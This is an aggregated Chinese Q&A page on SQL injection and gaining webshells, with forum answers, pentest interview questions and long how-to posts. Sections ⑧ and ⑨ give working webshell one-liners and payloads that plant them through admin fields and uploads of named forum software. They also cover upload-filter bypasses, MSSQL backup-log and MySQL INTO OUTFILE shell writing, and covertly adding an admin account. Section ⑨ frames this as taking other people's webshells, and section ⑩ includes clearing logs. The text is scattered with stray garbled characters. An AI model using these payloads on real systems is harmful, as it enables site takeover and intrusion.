① 問一下,最近怎麼才能sql注入和拿到webshell我是小白,順便問理解這些都需要哪些知識或者看哪些書
人家網站當然都要防止被黑,這么想黑,自己去寫個漏洞網站自己黑自己的吧,還有,相當黑客,學好黑客的道德守則了嗎?到處討論
② 如何通過SQL注入來提取webshell 拋磚引玉!
你不明白啥叫注入。當然是自己發現哪個框沒加過濾咯,或許直接請求加上各種參數試一試。
試的方法很多舉個例子後面加1=1。一般資料庫都關閉了sql執行cmd你得先提權,然後才能開啟sql執行任何cmd。
③ SQL注入點拿到了後怎麼拿webshell求
你都拿到許可權了,只然就可以操作啦!
④ 來源於網上
以下內容轉於網上
曾經寫過的一份WEB滲透工程師面試題,看到別人在網上已經公開了試題和答案、也發在博客上吧,反正已經被公開過了,限於招初級WEB滲透工程師。
1.sql注入有以下兩個測試選項,選一個並且闡述不選另一個的理由:
A,demo.jsp?id=2+1 B,demo.jsp?id=2-1
(選B,因為A中的+號需要做URL編碼後使用2%2B1)考URL編碼
2.以下鏈接存在sql注入漏洞,對於這個變形注入,你有什麼思路?
Demo.Do?DATA=MjAxNg==
(先解碼,再拼接,再編碼,再注入)考base64編碼
3.發現jsp?uid=110注入點,你有哪幾種思路獲取webshell,那種是優選?
(1.首選,找web路徑泄漏,猜解web路徑,利用sql注入寫入webshell,2.其次找後台密碼,破解密碼密文,找到後台登陸找利用點3.如果實在難找,找其他漏洞)危害類,看是否有利用漏洞、入侵的轎唯卜經驗非單純的安全測試
4.CSRF和XSS和XXE有什麼區別,以及修復方式?
(csrf利用會話sessionid做請求,xxs是盜取cookies里的sessionid,兩者不是一個漏洞,XXE是xml實體注入, csrf可以在會話中加token或者限制跨域請求,xxs可以在顯示或保存時做轉義,xxe可以限制外部xml引用)考會話劫持相關。新增XXE,即xml注入
5.CSRF、SSRF和重放攻擊有什麼區別?
(csrf是跨站請求偽造,利用會話sessionid發請求,需要外部引發條件。SSRF是服務端請求偽造,利用服務端獲取文件參閉穗數,任意訪問內網文件。重放攻擊是指一個會話可以一直請求,一直返回,比如簡訊驗證碼),考對漏洞的理解,是否混淆
6.說出至少3種業務邏輯漏洞,並闡明漏洞原理?
(水平越權、垂直越權、任意充值賬戶密碼、1分錢充話費、0元支付、刷積分漏洞、驗證碼或密碼暴力破解等)考對業務涉及缺陷漏洞的經驗。
7.圈出下面會話中可能存在問題的項,並標注可能會存在的問題
GET /ecskins/demo.jsp?uid=2016031900&keyword=」hello world!」 HTTP/1.1
Host: com:82
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/css,/ ;q=0.1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://com:82/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=1459663591817
Cookie:myguid1234567890=; uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ; st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0IY-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeDn%2BiNiTrng5%2Flj7A%3D; status=True
Connection: keep-alive
(標紅1:sql注入,標紅2:xss,標紅山孫3:cookies欺騙,4:會話CSRF或重放風險。)考對HTTP數據包欄位敏感度及會話滲透經驗。
8.找一類你最擅長的漏洞,談下繞過漏洞修復後的方案?
//看對常規漏洞的深入程度
9.你常用的滲透工具有那些,最常用的是那個?
// 看滲透方向,和之前工作性質
10.描述一個你深入研究過的CVE或POC。
// 看水平和深度,中級水平,都有資助挖掘MVC、CMS框架的漏洞能力。
11.談談你經常關注的安全平台。
// 看安全行業的學習能力
⑤ Web應用常見的安全漏洞有哪些_十大常見web漏洞
web常見的幾個漏洞
1.SQL注入
SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之手塵一。
2.XSS跨站點腳本
XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用畢圓禪的頁面中。
3.緩沖區溢出
緩沖區溢出漏洞是指在程序試圖將數據放到及其內存中的某一個位置的時候,因為沒有足夠的空間就會發生緩沖區溢出的現象。
4.cookies修改
即使Cookie被竊取,卻因Cookie被隨機更新,且內容無規律性,攻擊者無法加以利用。另外利用了時間戳另一大好處就是防止Cookie篡改或重放。
5.上傳漏洞
這個漏洞在DVBBS6.0時代被黑客們利用的最為猖獗,利用上傳漏洞可以直接得到WEBSHELL,危害等級超級高,現在的入侵中上傳漏洞也是常見的漏洞。
6.命令行注入
所謂的命令行輸入腔御就是webshell了,拿到了許可權的黑客可以肆意妄為。
⑥ SQL注入,拿到webshell後,NC也不能傳馬【不幹壞事】
汗。格式不對弄不上去很正常撒。要是隨便都可以傳個東西上去,那還搞什麼。。。。找找其他的BUG。看有沒有戲。
⑦ SQL注入--獲取sql-shell
題目地址: http://ctf5.shiyanbar.com/basic/inject/index.php
下面先講一下思路再說解法:
題目界面:
說明admin欄位存在皮穗注入點(bool、time),且過濾了select,那麼怎麼鋒高注入呢。這里通過sqlmap可以直接獲取一銀握尺個sql shell,直接執行sql語句進行交互。
⑧ 如何從後台得到webshell
注意:如何進入後台,不是本文討論范圍,其具體方法就不說了,靠大家去自己發揮。此文參考了前人的多方面的資料和信息,在此一並表示感謝。
一、直接上傳獲得webshell
這種對php和jsp的一些程序比較常見,MolyX BOARD就是其中一例,直接在心情圖標信拍管理上傳.php類型,雖然沒有提示,其實已經成功了,上傳的文件url應該是
,前一陣子的聯眾皮純游戲站和網易的jsp系統漏洞就可以直接上傳jsp文件。文件名是原來的文件名,bo-blog後台可以可以直接上傳.php文件,上傳的文件路徑有提示。以及一年前十分流行的upfile.asp漏洞(動網5.0和6.0、早期的許多整站系統),因過濾上傳文件不嚴,導致用戶可以直接上傳webshell到網站任意可寫目錄中,從而拿到網站的管理員控制許可權。
二、添加修改上傳類型
現在很多的腳本程序上傳模塊不是只允許上傳合法文件類型,而大多數的系統是允許添加上傳類型,bbsxp後台可以添加asaasP類型,ewebeditor的後台也可添加asa類型,通過修改後我們可以直接上傳asa後綴的webshell了,還有一種情況是過濾了.asp,可以添加.aspasp的文件類型來上傳獲得webshell。php系統的後台,我們可以添加.php.g1f的上傳類型,這是php的一個特性,最後的哪個只要不是已知的文件類型即可,php會將php.g1f作為.php來正常運行,從而也可成功拿到shell。LeadBbs3.14後台獲得webshell方法是:在上傳類型中增加asp ,注意,asp後面是有個空格的,然後在前台上傳ASP馬,當然也要在後面加個空格!
三、利用後台管理功能寫入webshell
上傳漏洞基本上補的也差不多了,所以我們進入後台後還可以通過修改相關文件來寫入webshell。比較的典型的有dvbbs6.0,還有leadbbs2.88等,直接在後台修改配置文件,寫入後綴是asp的文件。而LeadBbs3.14後台獲得webshell另一方法是:添加一個新的友情鏈接,在網站名稱處寫上冰狐最小馬即可,最小馬前後要隨便輸入一些字元,http:\網站incIncHtmBoardLink.asp就是我們想要的shell。
四、利用後台管理向配置文件寫webshell
利用"""":""//"等符號構造最小馬寫入程序的配置文件,joekoe論壇,某某同學錄,沸騰展望新聞系統,COCOON Counter統計程序等等,還有很多php程序都可以,COCOON Counter統計程序舉例,在管理郵箱處添上[email protected]":eval request(chr (35))//, 在配製文件中就是webmail="[email protected]":eval request(chr(35))//",還有一種方法就是寫上 [email protected]"%><%eval request(chr(35))%><%',這樣就會形成前後對應,最小馬也就運行了。<%eval request(chr(35))%>可以用lake2的eval發送端以及最新的2006 客戶端來連,需要說明的是資料庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部菜單設置-菜單其它特效,插入一句話馬"%><%execute request("l")%><%',保 存頂部欄目菜單參數設置成功後,我們就得到馬地址http://網站/admin/rootclass_menu_config.asp。
五、利用後台資料庫備份及恢復獲得webshell
主要是利用後台對access資料庫的「備份資料庫」或「恢復資料庫」功能,「備份的資料庫路徑」等變數沒有過濾導致可以把任意文件後綴改 為asp,從而得到webshell,msssql版的程序就直接應用了access版的代碼,導致sql版照樣可以利用。還可以備份網站asp文件為其他後綴 如.txt文件,從而可以查看並獲得網頁源代碼,並獲得更多的程序信息增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時 候,但是有asp系統在運行,利用此方法來查看源代碼來獲得其滑握羨資料庫的位置,為資料庫插馬來創造機會,動網論壇就有一個ip地址的資料庫,在後台的ip管理中可以插入最小馬然後備份成.asp文件即可。在談談突破上傳檢測的方法,很多asp程序在即使改了後綴名後也會提示文件非法,通過在.asp文件頭加上gif89a修改後綴為gif來騙過asp程序檢測達到上傳的目的,還有一種就是用記事本打開圖片文件,隨便粘貼一部分復制到asp木馬文件頭,修改gif後綴後上傳也可以突破檢測,然後備份為.asp文件,成功得到webshell。
六、利用資料庫壓縮功能
可以將數據的防下載失效從而使插入資料庫的最小馬成功運行,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫上<%eval request (chr(35))%>, 提交後,在資料庫操作中壓縮資料庫,可以成功壓縮出.asp文件,用海洋的最小馬的eval客戶端連就得到一個webshell。
七、asp+mssql系統
這里需要提一點動網mssql版,但是可以直接本地提交來備份的。首先在發帖那上傳一個寫有asp代碼的假圖片,然後記住其上傳路徑。寫一個本地提交的表單,代碼如下:
<form action=http://網站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上傳文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要復制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存為.htm本地執行。把假圖片上傳路徑填在「已上傳文件的位置」那裡,想要備份的WebShell的相對路徑填寫在「要復制到的位置」那裡,提交就得到我們可愛的WebShell了,恢復代碼和此類似,修改相關地方就可以了。沒有遇到過後台執行mssql命令比較強大的asp程序後台,動網的資料庫還原和備份是個擺設,不能執行sql命令備份webshell,只能執行一些簡單的查詢命令。可以利用mssql注入差異備份webshell,一般後台是顯示了絕對路徑,只要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句代碼,利用動網7.0的注入漏洞可以用差異備份一個webshell,可以用利用上面提到的方法,將conn.asp文件備份成.txt文件而獲得庫名。
差異備份的主要代碼:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values()--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
這段代碼中,0x626273是要備份的庫名bbs的十六進制,可以是其他名字比如bbs.bak; 是<%execute request("l")%>的十六進制,是lp最小馬;0x643A5C7765625C312E617370是d:web1.asp的十六進制,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell,唯一的不足就是備份後的文件過大,如果備份資料庫中有防下載的的數據表,或者有錯誤的asp代碼,備份出來的webshell就不會成功運行,利用差異備份是成功率比較高的方法,並且極大的減少備份文件的大小。
八、php+mysql系統
後台需要有mysql數據查詢功能,我們就可以利用它執行SELECT ... INTO OUTFILE查詢輸出php文件,因為所有的數據是存放在mysql里的,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用SELECT ... INTO OUTFILE語句導出shell。在mysql操作里輸入select from mysql.user into outfile '路徑』 就可以獲得了一個<?eval($_POST[a]);?>的最小馬' 是我們<?eval($_POST[a]);?>的十六進制,這種方法對phpmyadmin比較普遍,先利用phpmyadmin的路徑泄露漏洞,比較典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php。
就可以暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\wwwroot\a.php。下面的方法是比較常用的一個導出webshell的方法,也可以寫個vbs添加系統管理員的腳本導出到啟動文件夾,系統重起後就會添加一個管理員帳號
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?>')
select cmd from a into outfile '路徑/b.php'
DROP TABLE IF EXISTS a
訪問b.php就會生成一個<?eval($_POST[a]);?>的最小馬。
如果遇到可以執行php命令就簡單多了,典型的代表是BO-BLOG,在後台的php命令框輸入以下代碼:
<?
$sa = fopen("./up/saiy.php","w");
fwrite($sa,"<?eval($_POST[a]);?".">");
fclose($sa);
?>
就會在up目錄下生成文件名為saiy.php內容為<?eval($_POST[a]);?>的最小php木馬, 最後用lanker的客戶端來連接。實際運用中要考慮到文件夾是否有寫許可權。或者輸入這樣的代碼<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?> 將會在當前目錄生成一個a.php的最小馬。
九、phpwind論壇從後台到webshell的三種方式
方式1 模板法
進入後台, 風格模版設置 ,在隨便一行寫代碼,記住,這代碼必須頂著左邊行寫,代碼前面不可以有任何字元。
EOT;
eval($a);
print <<<EOT
而後得到一個shell為http://網站/bbs/index.php。
方始2 臟話過濾法
進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a』]=』aa』;eval($_POST[』a』]);//
替換為那裡可以隨意寫,而後得到一個shell地址為http://網站/bbs/data/bbscache/wordsfb.php。
方式3 用戶等級管理
新建立會員組,頭銜你可以隨便寫,但是千萬不要寫單雙引號特殊符號,升級圖片號寫a』;eval($_POST[』a』]);// ,升級點數依然可以隨意寫。而後得到一個shell地址為http://網站/bbs/data/bbscache/level.php。
以上三種方式得到webshellr的密碼是a,為lanker的一句話後門服務端。
十、也可以利用網站訪問計數系統記錄來獲得webshell
最明顯的就是某私服程序內的阿江計數程序,可以通過http://網站/stat.asp?style=textreferer= 代碼內容&screenwidth=1024直接提交, 即可把代碼內容直接插入到計數系統的資料庫中,而此系統默認資料庫為count#.asa,我們可以通過http://網站/count%23.asa訪問得到webshell,由於阿江計數程序過濾了%和+,將最小馬改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替換代碼內容處提交,然後用lake2的eval客戶端來提交,值得一提的是如果進到計數後台,可以清理某時某刻的數據,一旦插入asp木馬失敗,可以清理資料庫再次操作。
⑨ 怎麼獲得別人的webshell
dbowner通過注射得到一個shell應該不是什麼難事情了,比較麻煩的是就算利用增量備份,仍然有很多不確定的因素,如果之前別人有過什麼錯誤的寫入信息,可能備份出來得到的還是一些不能用的500錯誤,如拆唯碼何能夠提高成功率及重用性呢?如果單從調整增量備份的方式來看,盡管能夠達到一些效果,但是方法比較復雜而且效果不明顯。加上關於重用性的考慮,例如多次備份的成功率,backup database的方法並不太適用。這里將要講述的是另外一個備份的方法,導出日誌文件到web目錄來獲得shell。
獲得webshell首先要知道物理路徑。關於物理路徑的暴露有很多方法,注入也可以得到,就不再多說。值得注意的是,如果資料庫和web分離,這樣肯定得不到webshell,備份出來的東西可以覆蓋任何文件,一些關於開始菜單的想法還是有效的,只要注意擴展名就好。扯遠了,反正如果資料庫和web在一塊的,你就有機會,反之還是想其他的辦法吧。
然後你要得到當前的許可權和資料庫名。如果是sysadmin當然沒有必要做很復雜的事情,dbowner足矣,public則不行。當前打開的庫名用一個db_name()就可以得到,同樣很簡單。
默認的情況是,一般選擇的資料庫故障還原類型都是簡單,這時候不能夠對日誌文件進行備份。然而我們都是dbowner了,還有什麼不能做的呢,只要修改一下屬性就可以。由於不能去企業管理器中修改,只有用一段SQL語句,很簡單的,這樣就可以:
alter database XXXX set RECOVERY FULL
其中XXXX是你得到的資料庫的名字,執行過後就可以備份日誌了。這種修改是破壞性的,因為你不知道以前的故障還原模式是什麼,細心的管理員看到異樣,可能就要開始起疑心。如果之前你能得到資料庫的狀態,最好還是在備份完以後把這個資料庫的屬性改回來。
剩下的事情就是怎樣讓資料庫用最原始的方式記錄下你的數據了。這一點和backup database中設定表名為image的問題相對應,如果你只是建立一個<%%>之類的表,日誌裡面的記錄還是以鬆散的格式記錄的,也就是<% % >,沒有任何效果。通過實際的測試,發現還是可以通過與backup database類似的方式記錄進去,如下:
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx.asp'
這樣你已經得到一個webshell了。
到這里就完了么?沒有,呵呵,我們繼續。
到這里有兩個分支方向,第一個,讓注入的時候不出現單引號,太簡單了,我都懶得寫;第二個,減小這個webshell的長度以及提高成功率。下面的方法就是討論第二個分支問題的,同樣適用於backup database的減小。
首先是初始化這個日誌。
backup log XXXX to disk = 'c:target' with init
這樣有點類似於增量備份的第一步,不過有點不同的是,你做了這個以後,你備份出來的可用的shell是固定的。這一點比較重要,因為有了這一步,不管管理員在資料庫裡面做了什麼擾亂你back database的手腳,或者你之前有多少混蛋(你肯定會這么想的)弄了些你不喜歡的東西,都沒有關系,甚至你做過以後,別人在後面再按照你的方法來旅哪一次,還是會成功,這對於偶爾出現的反復,比如對方機器重裝但是山乎資料庫和代碼沒變,有不小的幫助。
然後是調整一下backup中各個語句的順序。通過第一點,大概的步驟已經確定下來了,那就是:
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx.asp'
這樣不好,感覺上多了一條沒用的東西。
create table cmd (a image)
確實有點討厭,不過這句是必要的,只好調整一下位置,弄到其他地方去。調換一下順序似乎還可以小一點,對於backup database中的增量情況同樣是可以的,backup database甚至可以僅僅在update後馬上備份,不過由於涉及到了數據的存儲格式,情況很復雜,這里不討論。調整後的是:
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = 'c:Sammy' with init
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx.asp'
成功的話,備份出來的shell(上面的2.asp)有78.5k,文件長度固定的是80,384位元組。很挑剔的朋友也可以接受了吧,當然用這個來生成一個干凈的木馬也可以——這本來就是頂端cs木馬的s端,很通用的。
進一步的,雖然不能再次縮小這個木馬了,但是可以讓垃圾文件少一點,那就是加上response.end,這樣後面的垃圾數據就不再顯示。所有的垃圾數據,你可以統計一下,大約只有6~12k,也就是說,<%Execute(request("Swan"))%>這個數據大約在2.asp文件偏移6xxx到12xxx附近,最好的情況似乎在6k左右,而且這個概率分布比較靠前,很少見到10k以上。這還是比較令人滿意的。
目前用backup log來測試的成功率是100%,就這樣分析
⑩ 網站滲透測試,怎麼進行
1.信息收集:
1)、獲取域名的whois信息,獲取注冊者郵箱姓名電話等。
2)、查詢伺服器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。
3)、查看伺服器操作系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。
4)、查看IP,進行IP地址埠掃描,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。
5)、掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針。
6)、google hack 進一步探測網站的信息,後台,敏感文件。
2.漏洞掃描:
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含, 遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等。
3.漏洞利用:
利用以上的方式拿到webshell,或者其他許可權。
4.許可權提升:
提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低許可權提權。
5.日誌清理:
結束滲透測試工作需要做的事情,抹除自己的痕跡。
需要規避的風險:
1. 不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。
2. 測試驗證時間放在業務量最小的時間進行。
3. 測試執行前確保相關數據進行備份
4. 所有測試在執行前和維護人員進行溝通確認。